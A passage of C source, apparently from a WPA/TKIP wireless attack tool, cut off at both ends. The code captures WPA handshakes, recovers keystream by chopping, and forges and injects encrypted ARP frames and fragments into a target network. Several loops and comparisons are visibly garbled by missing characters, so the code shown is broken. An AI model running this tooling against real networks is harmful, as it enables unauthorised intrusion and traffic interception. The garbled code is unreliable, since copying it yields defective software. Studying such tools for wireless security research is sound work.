(TKIP / AES) */ int state; /* handshake completion */ }; struct options { unsigned char f_bssid[6]; unsigned char f_dmac[6]; unsigned char f_smac[6]; int f_minlen; int f_maxlen; int f_minlen_set; int f_maxlen_set; int f_type; int f_subtype; int f_tods; int f_fromds; int f_iswep; FILE *f_ivs; /* output ivs file */ int r_nbpps; int r_fctrl; unsigned char r_bssid[6]; unsigned char r_dmac[6]; unsigned char r_smac[6]; unsigned char r_apmac[6]; unsigned char r_dip[4]; unsigned char r_sip[4]; char r_essid[33]; int r_fromdsinj; char r_smac_set; char ip_out[16]; //16 for 15 chars + \x00 char ip_in[16]; int port_out; int port_in; char *iface_out; char *s_face; char *s_file; uchar *prga; int a_mode; int a_count; int a_delay; int ringbuffer; int ghost; int prgalen; int delay; int npackets; int fast; int bittest; int nodetect; unsigned char oldkeystream[2048]; /* user-defined old keystream */ int oldkeystreamlen; /* user-defined old keystream length */ char wpa_essid[256]; /* essid used for calculating the pmk out of the psk */ char psk[128]; /* shared passphrase among the clients */ uchar pmk[128]; /* pmk derived from the essid and psk */ uchar ptk[80]; /* ptk calculated from all pieces captured in the handshake */ uchar ip_cli[4]; uchar ip_ap[4]; int got_ptk; int got_pmk; int got_psk; int got_mic_fromds; int got_mic_tods; int got_ip_ap; int got_ip_client; struct WPA_hdsk wpa; /* valid WPA handshake data */ struct WPA_ST_info wpa_sta; /* used to calculate the pmk */ time_t wpa_time; /* time when the wpa handshake arrived */ unsigned char *chopped_from_plain; /* chopped plaintext packet from the AP */ unsigned char *chopped_to_plain; /* chopped plaintext packet to the AP */ unsigned char *chopped_from_prga; /* chopped keystream from the AP */ unsigned char *chopped_to_prga; /* chopped keystream to the AP */ int chopped_from_plain_len; int chopped_to_plain_len; int chopped_from_prga_len; int chopped_to_prga_len; struct timeval last_mic_failure; /* timestamp of last mic failure */ int mic_failure_interval; /* time between allowed mic failures */ } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; unsigned char mac_in[6]; unsigned char mac_out[6]; int is_wlanng; int is_hostap; int is_madwifi; int is_madwifing; int is_bcm43xx; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; static struct wif *_wi_in, *_wi_out; struct ARP_req { unsigned char *buf; int hdrlen; int len; }; struct APt { unsigned char set; unsigned char found; unsigned char len; unsigned char essid[255]; unsigned char bssid[6]; unsigned char chan; unsigned int ping[REQUESTS]; int pwr[REQUESTS]; }; struct APt ap[MAX_APS]; unsigned long nb_pkt_sent; unsigned char h80211[4096]; unsigned char tmpbuf[4096]; unsigned char srcbuf[4096]; char strbuf[512]; uchar ska_auth1[] = "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00"; uchar ska_auth3[4096] = "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xc0\x01"; int ctrl_c, alarmed; char * iwpriv; void sighandler( int signum ) { if( signum == SIGINT ) ctrl_c++; if( signum == SIGALRM ) alarmed++; } int reset_ifaces() { //close interfaces if(_wi_in != _wi_out) { if(_wi_in) { wi_close(_wi_in); _wi_in = NULL; } if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; } } else { if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; _wi_in = NULL; } } /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); return 0; } int set_bitrate(struct wif *wi, int rate) { int i, newrate; if( wi_set_rate(wi, rate) ) return 1; // if( reset_ifaces() ) // return 1; //Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M instead if (rate == 5500000 && wi_get_rate(wi) != 5500000) { if( wi_set_rate(wi, 5000000) ) return 1; } newrate = wi_get_rate(wi); for(i=0; i0 ) { if(bitrates[i-1] >= newrate) { printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); return 1; } } if( i length ) return 0; if(!(packet[1] & 0x40)) //not encrypted { z += 6; //skip LLC header /* check ethertype == EAPOL */ if( packet[z] == 0x88 && packet[z + 1] == 0x8E && (packet[1] & 0x40) != 0x40 ) { if(opt.wpa.state != 7 || time(NULL) - opt.wpa_time > 1) { z += 2; //skip ethertype /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( packet[z + 6] & 0x08 ) != 0 && ( packet[z + 6] & 0x40 ) == 0 && ( packet[z + 6] & 0x80 ) != 0 && ( packet[z + 5] & 0x01 ) == 0 ) { memcpy( opt.wpa.anonce, &packet[z + 17], 32 ); opt.wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( z+17+32 > length ) return 0; if( ( packet[z + 6] & 0x08 ) != 0 && ( packet[z + 6] & 0x40 ) == 0 && ( packet[z + 6] & 0x80 ) == 0 && ( packet[z + 5] & 0x01 ) != 0 ) { if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 ) { memcpy( opt.wpa.snonce, &packet[z + 17], 32 ); opt.wpa.state |= 2; } if( (opt.wpa.state & 4) != 4 ) { opt.wpa.eapol_size = ( packet[z + 2] << 8 ) + packet[z + 3] + 4; memcpy( opt.wpa.keymic, &packet[z + 81], 16 ); memcpy( opt.wpa.eapol, &packet[z], opt.wpa.eapol_size ); memset( opt.wpa.eapol + 81, 0, 16 ); opt.wpa.state |= 4; opt.wpa.keyver = packet[z + 6] & 7; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( packet[z + 6] & 0x08 ) != 0 && ( packet[z + 6] & 0x40 ) != 0 && ( packet[z + 6] & 0x80 ) != 0 && ( packet[z + 5] & 0x01 ) != 0 ) { if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 ) { memcpy( opt.wpa.anonce, &packet[z + 17], 32 ); opt.wpa.state |= 1; } if( (opt.wpa.state & 4) != 4 ) { opt.wpa.eapol_size = ( packet[z + 2] << 8 ) + packet[z + 3] + 4; memcpy( opt.wpa.keymic, &packet[z + 81], 16 ); memcpy( opt.wpa.eapol, &packet[z], opt.wpa.eapol_size ); memset( opt.wpa.eapol + 81, 0, 16 ); opt.wpa.state |= 4; opt.wpa.keyver = packet[z + 6] & 7; } } if( opt.wpa.state == 7) { memcpy( opt.wpa.stmac, opt.r_smac, 6 ); PCT; printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X captured\n", opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2], opt.r_bssid[3], opt.r_bssid[4], opt.r_bssid[5]); opt.wpa_time = time(NULL); if( opt.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; ivs2.len= sizeof(struct WPA_hdsk); ivs2.flags |= IVS2_WPA; ivs2.flags |= IVS2_BSSID; ivs2.len += 6; if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( opt.r_bssid, 1, 6, opt.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( &(opt.wpa), 1, sizeof(struct WPA_hdsk), opt.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) { perror( "fwrite(IV wpa_hdsk) failed" ); return( 1 ); } } } } } } return 0; } int send_packet(void *buf, size_t count) { struct wif *wi = _wi_out; /* XXX globals suck */ // unsigned char *pkt = (unsigned char*) buf; // if( (count > 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0) // { // pkt[22] += (nb_pkt_sent & 0x0000000F) << 4; // pkt[23] += (nb_pkt_sent & 0x00000FF0) >> 4; // } if (wi_write(wi, buf, count, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; /* XXX not sure I like this... -sorbo */ } perror("wi_write()"); return -1; } nb_pkt_sent++; return 0; } int read_packet(void *buf, size_t count, struct rx_info *ri) { struct wif *wi = _wi_in; /* XXX */ int rc; rc = wi_read(wi, buf, count, ri); if (rc == -1) { switch (errno) { case EAGAIN: return 0; } perror("wi_read()"); return -1; } return rc; } void read_sleep( int usec ) { struct timeval tv, tv2, tv3; int caplen; fd_set rfds; gettimeofday(&tv, NULL); gettimeofday(&tv2, NULL); tv3.tv_sec=0; tv3.tv_usec=10000; while( ((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) < (usec) ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv3 ) < 0 ) { continue; } if( FD_ISSET( dev.fd_in, &rfds ) ) { caplen = read_packet( h80211, sizeof( h80211 ), NULL ); check_received(h80211, caplen); } usleep(1000); gettimeofday(&tv2, NULL); } } int filter_packet( unsigned char *h80211, int caplen ) { int z, mi_b, mi_s, mi_d, ext=0, qos=0; if(caplen <= 0) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) { qos = 1; /* 802.11e QoS */ z+=2; } if(!qos) return(1); if( (h80211[0] & 0x0C) == 0x08) //if data packet ext = z-24; //how many bytes longer than default ieee80211 header /* check length */ if( caplen-ext < opt.f_minlen || caplen-ext > opt.f_maxlen ) return( 1 ); /* check the frame control bytes */ if( ( h80211[0] & 0x80 ) != 0x80 ) return( 1 ); //no QoS packet if( ( h80211[0] & 0x0C ) != ( opt.f_type << 2 ) && opt.f_type >= 0 ) return( 1 ); if( ( h80211[0] & 0x70 ) != (( opt.f_subtype << 4 ) & 0x70) && //ignore the leading bit (QoS) opt.f_subtype >= 0 ) return( 1 ); if( ( h80211[1] & 0x01 ) != ( opt.f_tods ) && opt.f_tods >= 0 ) return( 1 ); if( ( h80211[1] & 0x02 ) != ( opt.f_fromds << 1 ) && opt.f_fromds >= 0 ) return( 1 ); if( ( h80211[1] & 0x40 ) != ( opt.f_iswep << 6 ) && opt.f_iswep >= 0 ) return( 1 ); /* check the extended IV (TKIP) flag */ // if( opt.f_type == 2 && opt.f_iswep == 1 && // ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 ); /* MAC address checking */ switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } if( memcmp( opt.f_bssid, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 ) return( 1 ); if( memcmp( opt.f_bssid, opt.f_smac, 6) == 0) { if( memcmp( opt.f_smac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_s, opt.f_smac, 5 ) != 0 ) return( 1 ); } else { if( memcmp( opt.f_smac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_s, opt.f_smac, 6 ) != 0 ) return( 1 ); } if( memcmp( opt.f_bssid, opt.f_dmac, 6) == 0) { if( memcmp( opt.f_dmac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_d, opt.f_dmac, 5 ) != 0 ) return( 1 ); } else { if( memcmp( opt.f_dmac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_d, opt.f_dmac, 6 ) != 0 ) return( 1 ); } /* this one looks good */ return( 0 ); } int wait_for_beacon(uchar *bssid, uchar *capa, char *essid) { int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0; uchar pkt_sniff[4096]; struct timeval tv,tv2; char essid2[33]; gettimeofday(&tv, NULL); while (1) { len = 0; while (len < 22) { len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL); gettimeofday(&tv2, NULL); if(((tv2.tv_sec-tv.tv_sec)*1000000) + (tv2.tv_usec-tv.tv_usec) > 10000*1000) //wait 10sec for beacon frame { return -1; } if(len <= 0) usleep(1000); } if (! memcmp(pkt_sniff, "\x80", 1)) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 3 && pos < len-2); if(tagtype != 3) continue; if(taglen != 1) continue; if(pos+2+taglen > len) continue; chan = pkt_sniff[pos+2]; if(essid) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 0 && pos < len-2); if(tagtype != 0) continue; if(taglen <= 1) { if (memcmp(bssid, pkt_sniff+10, 6) == 0) break; else continue; } if(pos+2+taglen > len) continue; if(taglen > 32)taglen = 32; if((pkt_sniff+pos+2)[0] < 32 && memcmp(bssid, pkt_sniff+10, 6) == 0) { break; } /* if bssid is given, copy essid */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) == 0) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); break; } /* if essid is given, copy bssid AND essid, so we can handle case insensitive arguments */ if(bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0 && strncasecmp(essid, (char*)pkt_sniff+pos+2, taglen) == 0 && strlen(essid) == (unsigned)taglen) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); memcpy(bssid, pkt_sniff+10, 6); printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to given ESSID \"%s\".\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], essid); break; } /* if essid and bssid are given, check both */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) > 0) { memset(essid2, 0, 33); memcpy(essid2, pkt_sniff+pos+2, taglen); if(strncasecmp(essid, essid2, taglen) == 0 && strlen(essid) == (unsigned)taglen) break; else { printf("For the given BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\", there is an ESSID mismatch!\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); printf("Found ESSID \"%s\" vs. specified ESSID \"%s\"\n", essid2, essid); printf("Using the given one, double check it to be sure its correct!\n"); break; } } } } } if(capa) memcpy(capa, pkt_sniff+34, 2); return chan; } /* if bssid != NULL its looking for a beacon frame */ int attack_check(uchar* bssid, char* essid, uchar* capa, struct wif *wi) { int ap_chan=0, iface_chan=0; iface_chan = wi_get_channel(wi); if(bssid != NULL) { ap_chan = wait_for_beacon(bssid, capa, essid); if(ap_chan < 0) { PCT; printf("No such BSSID available.\n"); return -1; } if(ap_chan != iface_chan) { PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan); return -1; } } return 0; } int getnet( uchar* capa, int filter, int force) { unsigned char *bssid; if(opt.nodetect) return 0; if(filter) bssid = opt.f_bssid; else bssid = opt.r_bssid; if( memcmp(bssid, NULL_MAC, 6) ) { PCT; printf("Waiting for beacon frame (BSSID: %02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n", bssid[0],bssid[1],bssid[2],bssid[3],bssid[4],bssid[5],wi_get_channel(_wi_in)); } else if(strlen(opt.r_essid) > 0) { PCT; printf("Waiting for beacon frame (ESSID: %s) on channel %d\n", opt.r_essid,wi_get_channel(_wi_in)); } else if(force) { PCT; if(filter) { printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n"); } else { printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n"); } return( 1 ); } else return 0; if( attack_check(bssid, opt.r_essid, capa, _wi_in) != 0) { if(memcmp(bssid, NULL_MAC, 6)) { if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32) { printf( "Please specify an ESSID (-e).\n" ); } } if(!memcmp(bssid, NULL_MAC, 6)) { if(strlen(opt.r_essid) > 0) { printf( "Please specify a BSSID (-a).\n" ); } } return( 1 ); } return 0; } int xor_keystream(uchar *ph80211, uchar *keystream, int len) { int i=0; for (i=0; i 0 ) { tr = time( NULL ); printf( "\rRead %ld packets...\r", nb_pkt_read ); fflush( stdout ); } if( opt.s_file == NULL ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 1; tv.tv_usec = 0; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) continue; gettimeofday( &tv, NULL ); *caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( *caplen < 0 ) return( 1 ); if( *caplen == 0 ) continue; } else { /* there are no hidden backdoors in this source code */ n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( pkh.caplen ); tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = *caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); return( 1 ); } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) *caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } } nb_pkt_read++; if( filter_packet( h80211, *caplen ) != 0 ) continue; if(opt.fast) break; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; is_wds = 0; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; is_wds = 0; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; is_wds = 0; break; case 3: mi_t = 10; mi_r = 4; mi_d = 16; mi_s = 24; is_wds = 1; break; // WDS packet } printf( "\n\n Size: %d, FromDS: %d, ToDS: %d", *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { // if (is_wds) key_index_offset = 33; // WDS packets have an additional MAC, so the key index is at byte 33 // else key_index_offset = 27; key_index_offset = z+3; if( ( h80211[key_index_offset] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } printf( "\n\n" ); if (is_wds) { printf( " Transmitter = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_t ], h80211[mi_t + 1], h80211[mi_t + 2], h80211[mi_t + 3], h80211[mi_t + 4], h80211[mi_t + 5] ); printf( " Receiver = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_r ], h80211[mi_r + 1], h80211[mi_r + 2], h80211[mi_r + 3], h80211[mi_r + 4], h80211[mi_r + 5] ); } else { printf( " BSSID = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_b ], h80211[mi_b + 1], h80211[mi_b + 2], h80211[mi_b + 3], h80211[mi_b + 4], h80211[mi_b + 5] ); } printf( " Dest. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_d ], h80211[mi_d + 1], h80211[mi_d + 2], h80211[mi_d + 3], h80211[mi_d + 4], h80211[mi_d + 5] ); printf( " Source MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_s ], h80211[mi_s + 1], h80211[mi_s + 2], h80211[mi_s + 3], h80211[mi_s + 4], h80211[mi_s + 5] ); /* print a hex dump of the packet */ for( i = 0; i < *caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf( "\n\nUse this packet ? " ); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) break; } if(!just_grab) { pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_src-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving chosen packet in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = *caplen; pkh.len = *caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); } return( 0 ); } int read_prga(unsigned char **dest, char *file) { FILE *f; int size; if(file == NULL) return( 1 ); if(*dest == NULL) *dest = (unsigned char*) malloc(1501); f = fopen(file, "r"); if(f == NULL) { printf("Error opening %s\n", file); return( 1 ); } fseek(f, 0, SEEK_END); size = ftell(f); rewind(f); if(size > 1500) size = 1500; if( fread( (*dest), size, 1, f ) != 1 ) { fprintf( stderr, "fread failed\n" ); return( 1 ); } opt.prgalen = size; fclose(f); return( 0 ); } void add_icv(uchar *input, int len, int offset) { unsigned long crc = 0xFFFFFFFF; int n=0; for( n = offset; n < len; n++ ) crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; input[len] = (crc ) & 0xFF; input[len+1] = (crc >> 8) & 0xFF; input[len+2] = (crc >> 16) & 0xFF; input[len+3] = (crc >> 24) & 0xFF; return; } void send_fragments(uchar *packet, int packet_len, uchar *iv, uchar *keystream, int fragsize, int ska) { int t, u; int data_size; uchar frag[32+fragsize]; int pack_size; int header_size=24; data_size = packet_len-header_size; packet[23] = (rand() % 0xFF); for (t=0; t+=fragsize;) { //Copy header memcpy(frag, packet, header_size); //Copy IV + KeyIndex memcpy(frag+header_size, iv, 4); //Copy data if(fragsize <= packet_len-(header_size+t-fragsize)) memcpy(frag+header_size+4, packet+header_size+t-fragsize, fragsize); else memcpy(frag+header_size+4, packet+header_size+t-fragsize, packet_len-(header_size+t-fragsize)); //Make ToDS frame if(!ska) { frag[1] |= 1; frag[1] &= 253; } //Set fragment bit if (t< data_size) frag[1] |= 4; if (t>=data_size) frag[1] &= 251; //Fragment number frag[22] = 0; for (u=t; u-=fragsize;) { frag[22] += 1; } // frag[23] = 0; //Calculate packet lenght if(fragsize <= packet_len-(header_size+t-fragsize)) pack_size = header_size + 4 + fragsize; else pack_size = header_size + 4 + (packet_len-(header_size+t-fragsize)); //Add ICV add_icv(frag, pack_size, header_size + 4); pack_size += 4; //Encrypt xor_keystream(frag + header_size + 4, keystream, fragsize+4); //Send send_packet(frag, pack_size); if (t=data_size) break; } } int set_clear_arp(uchar *buf, uchar *smac, uchar *dmac) //set first 22 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_ARP, 8); buf[8] = 0x00; buf[9] = 0x01; //ethernet buf[10] = 0x08; // IP buf[11] = 0x00; buf[12] = 0x06; //hardware size buf[13] = 0x04; //protocol size buf[14] = 0x00; if(memcmp(dmac, BROADCAST, 6) == 0) buf[15] = 0x01; //request else buf[15] = 0x02; //reply memcpy(buf+16, smac, 6); return 0; } int build_arp_request(uchar* packet, int *length, int toDS) { int i; uchar buf[128]; packet[0] = 0x88; //QoS Data if(toDS) packet[1] = 0x41; //encrypted to/fromDS else packet[1] = 0x42; packet[2] = 0x2c; packet[3] = 0x00; if(toDS) { memcpy(packet+4, opt.f_bssid, 6); memcpy(packet+10, opt.r_smac, 6); memcpy(packet+16, opt.r_apmac, 6); } else { memcpy(packet+4, opt.r_smac, 6); memcpy(packet+10, opt.f_bssid, 6); memcpy(packet+16, opt.r_apmac, 6); } packet[22] = 0xD0; //fragment 0 packet[23] = 0xB4; if(toDS) packet[24] = 0x01; //priority 1 else packet[24] = 0x02; //priority 2 packet[25] = 0x00; if(toDS) set_clear_arp(packet+26, opt.r_smac, BROADCAST); else set_clear_arp(packet+26, opt.r_apmac, BROADCAST); if(toDS) memcpy(packet+26+22, opt.ip_cli, 4); else memcpy(packet+26+22, opt.ip_ap, 4); if(toDS) memcpy(packet+26+26, BROADCAST, 6); else memcpy(packet+26+26, BROADCAST, 6); if(toDS) memcpy(packet+26+32, opt.ip_ap, 4); else memcpy(packet+26+32, opt.ip_cli, 4); *length = 26+36; calc_tkip_mic(packet, *length, opt.ptk, packet+(*length)); *length += 8; memcpy(buf, packet+26, (*length) - 26); memcpy(packet+26+8, buf, (*length) - 26); if(toDS) memcpy(packet+26, opt.chopped_to_prga, 8); //set IV&extIV for a toDS frame else memcpy(packet+26, opt.chopped_from_prga, 8); //set IV&extIV for a fromDS frame (*length)+=8; add_icv(packet, *length, 26+8); (*length) += 4; if(toDS) { if(opt.chopped_to_prga_len-8 < *length - 26-8) return 1; for(i=0; i<*length-26-8; i++) packet[26+8+i] ^= opt.chopped_to_prga[8+i]; } else { if(opt.chopped_from_prga_len-8 < *length - 26-8) return 1; for(i=0; i<*length-26-8; i++) packet[26+8+i] ^= opt.chopped_from_prga[8+i]; } return 0; } int set_clear_ip(uchar *buf, int ip_len) //set first 9 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_IP, 8); buf[8] = 0x45; buf[10] = (ip_len >> 8) & 0xFF; buf[11] = ip_len & 0xFF; return 0; } void dump_packet(unsigned char* packet, int len) { int i=0; for(i=0; i0 && i%4 == 0)printf(" "); if(i>0 && i%16 == 0)printf("\n"); printf("%02X ", packet[i]); } printf("\n\n"); } int check_guess(uchar *srcbuf, uchar *chopped, int caplen, int clearlen, uchar *arp, uchar *dmac) { int i, j, z, pos; z = ( ( srcbuf[1] & 3 ) != 3 ) ? 24 : 30; if ( ( srcbuf[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; // if(arp[22] == 192 && arp[23] == 168 && arp[24] == 178 && arp[25] == 1) // { // printf("Source: %i.%i.%i.%i; Dest: %i.%i.%i.%i\n", // arp[22], arp[23], arp[24], arp[25], arp[32], arp[33], arp[34], arp[35] ); // } pos = caplen-z-8-clearlen; for(i=0; i 36) //too many unknown bytes return 1; printf("%i bytes still unknown\n", caplen-z-8 - clearlen); switch( srcbuf[1] & 3 ) { case 0: memcpy( bssid, srcbuf + 16, 6 ); memcpy( dmac, srcbuf + 4, 6 ); memcpy( smac, srcbuf + 10, 6 ); break; case 1: memcpy( bssid, srcbuf + 4, 6 ); memcpy( dmac, srcbuf + 16, 6 ); memcpy( smac, srcbuf + 10, 6 ); break; case 2: memcpy( bssid, srcbuf + 10, 6 ); memcpy( dmac, srcbuf + 4, 6 ); memcpy( smac, srcbuf + 16, 6 ); break; default: memcpy( bssid, 